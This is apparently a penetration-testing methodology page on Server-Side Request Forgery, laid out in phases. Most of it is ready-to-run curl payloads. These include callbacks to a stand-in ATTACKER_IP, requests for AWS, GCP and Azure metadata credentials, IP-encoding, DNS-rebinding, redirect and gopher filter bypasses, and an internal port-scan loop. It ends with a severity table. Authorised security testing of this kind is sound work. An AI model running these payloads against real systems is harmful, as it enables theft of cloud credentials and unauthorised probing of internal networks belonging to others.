Server-Side Request Forgery (SSRF)

Objective

Force the server to make requests to internal resources, cloud metadata endpoints, or attacker-controlled servers.

Testing Methodology

Phase 1: Identify URL Input Points

Look for parameters that accept URLs:

• Webhook URLs, callback URLs
• File import/export (URL-based)
• PDF/image generation from URL
• URL preview/unfurling
• Proxy/redirect endpoints

Phase 2: Basic SSRF Payloads

# Start callback listener
attack_script ssrf_listener -p 8888 -o ssrf_evidence.json &

# Test URL parameters
curl "https://TARGET/api/fetch?url=http://ATTACKER_IP:8888/ssrf-test"
curl "https://TARGET/api/preview?link=http://127.0.0.1:80"

Phase 3: Cloud Metadata

# AWS IMDSv1
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# GCP
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/"

# Azure
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"

Phase 4: Filter Bypass

# Decimal IP (127.0.0.1 = 2130706433)
curl "https://TARGET/fetch?url=http://2130706433/"

# Hex IP
curl "https://TARGET/fetch?url=http://0x7f000001/"

# IPv6
curl "https://TARGET/fetch?url=http://[::1]/"

# URL encoding
curl "https://TARGET/fetch?url=http://%31%32%37%2e%30%2e%30%2e%31/"

# DNS rebinding (use your own DNS server)
curl "https://TARGET/fetch?url=http://rebind.127.0.0.1.nip.io/"

# Redirect bypass
curl "https://TARGET/fetch?url=http://ATTACKER/redirect?to=http://169.254.169.254/"

# Protocol smuggling
curl "https://TARGET/fetch?url=gopher://127.0.0.1:6379/_INFO"

Phase 5: Internal Port Scanning

# Scan common internal ports
for port in 80 443 8080 8443 3306 5432 6379 27017 9200 11211; do
  curl -s -o /dev/null -w "%{http_code}" "https://TARGET/fetch?url=http://127.0.0.1:$port/" &
done
wait

What Constitutes a Finding

Finding	Severity
Cloud metadata access (credentials)	Critical (P1)
Internal network access	High (P2)
Out-of-band HTTP callback	Medium (P3)
Blind SSRF (timing-based)	Medium (P3)
File read via file:// protocol	Critical (P1)
gopher:// protocol access	High (P2)

Evidence Requirements

• URL parameter with SSRF payload
• Response containing internal data or metadata
• For blind SSRF: OOB callback evidence (use ssrf_listener)
• Network topology information gathered

Tools

• attack_script ssrf_listener — OOB callback listener
• curl — manual SSRF testing

References

• PortSwigger: SSRF
• OWASP: SSRF